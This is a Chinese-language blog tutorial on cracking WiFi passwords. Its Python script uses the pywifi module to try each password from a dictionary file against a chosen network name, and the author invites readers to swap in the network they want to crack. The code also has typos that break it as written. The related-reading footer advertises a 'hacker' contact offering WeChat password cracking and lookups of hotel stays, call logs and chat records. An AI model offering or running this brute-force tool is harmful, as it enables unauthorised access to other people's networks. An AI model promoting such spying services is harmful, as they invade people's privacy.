破解wifi
既然要破解WiFi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
链接:http://pan.baidu.com/s/1qXZSbEW 密码:m8wm
如果模块出现问题,请看评论里面的更新
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录,
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
这是我安装的,可以参考下:
pywifi-master文件夹,我是放在c盘根目录下的,所以首先进入根目录,然后在进入pywifi-master文件夹,再输入命令pip install . 就行了
大家可以根据自己放的文职进行输入命令
既然大家已经准备好了,那就开始了:
首先贴出代码,代码旁边有详细的注释,
先参考一下,我后面会讲述一下实现过程:
# coding:utf-8
import time #时间
import pywifi #破解wifi
from pywifi import const #引用一些定义
from asyncio.tasks import sleep
class PoJie():
def __init__(self,path):
self.file=open(path,"r",ERRORs="ignore")
wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
self.iface.disconnect() #测试链接断开所有链接
time.sleep(1) #休眠1秒
#测试网卡是否属于断开状态,
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassword(self):
print("开始破解:")
while True:
try:
myStr =self.file.readline()
if not myStr:
break
bool1=self.test_connect(myStr)
if bool1:
print("密码正确:",myStr)
break
else:
print("密码错误:"+myStr)
sleep(3)
except:
continue
def test_connect(self,findStr):#测试链接
profile = pywifi.Profile() #创建wifi链接文件
profile.ssid ="e2" #wifi名称
profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
profile.akm.APPend(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = findStr #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
self.iface.connect(tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def __del__(self):
self.file.close()
path=r"C:\Users\AdMinistrator\Desktop\csdnwifi.txt"
start=PoJie(path)
start.readPassWord()
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
运行结果:
下面讲解一下实现过程:
1)首先导入pywifi模块,因为要启用wifi那么必须要有启用wifi的模块。
2)有了启用wifi的模块以后,我们首先要抓取网卡接口,
因为连接无线wifi,必须要有网卡才行。一台电脑可能有很多网卡,
但是一般都只有一个wifi网卡,我们使用第一个网卡就行了。
3)抓取到以后就进行连接测试,首选是要断开所有的wifi网卡上
的已连接成功的,因为有可能wifi上有连接成功的在。
4)断开所有的wifi以后,我们就可以进行破解了,
从(.txt)文档中一行一行读取我们的密码字典,
一遍一遍的刷密码,直到返回isOK为True,表示破解成功。
5)因为连接也是要时间的,不可能一秒钟尝试好多次,
所以我们设置了睡眠sleep.
大家可能还有疑问,那就是test_connect这个方法中的代码,
1) profile.ssid =”e2”表示你要破解的wifi的ssid也就是wifi名称,
我手机开了热点,热点名字是e2所以我写了e2,
大家可以自己更该要破解的名称
2) profile.key就是要输入的密码
3) 别的代码差不多就是固定写法了,还有加密算法可以更改,
这里就不进行具体讲解了,本篇主要让大家简单学会破解。
相关阅读
print()和pprint()都是python的打印模块,功能基本一样,唯一的区别就是pprint()模块打印出来的数据结构更加完整,每行为一个数据结
知道手机号怎么破解微信密码?如何分辨网上破译密码的真伪!【黑客V信:10484866】专业破解微信密码,开房查询,通话记录查询,查询微信
微信密码有没有可能被破解,黑客论坛公布可靠教程!【黑客V信:10484866】专业破解微信密码,开房查询,通话记录查询,查询微信聊天记录
【黑客V信:10484866】专业破解微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!最近,小丽觉得老公的行为很反常,下班回
Quartus II 13.0 最全的安装、破解教程(包含下载地址)
一、 首先是Quartus II 13.0.1 软件的下载 如果你没有那么高的要求,用个低版本的Quartus II 就足够了,而且低版本的软件比较稳定, 为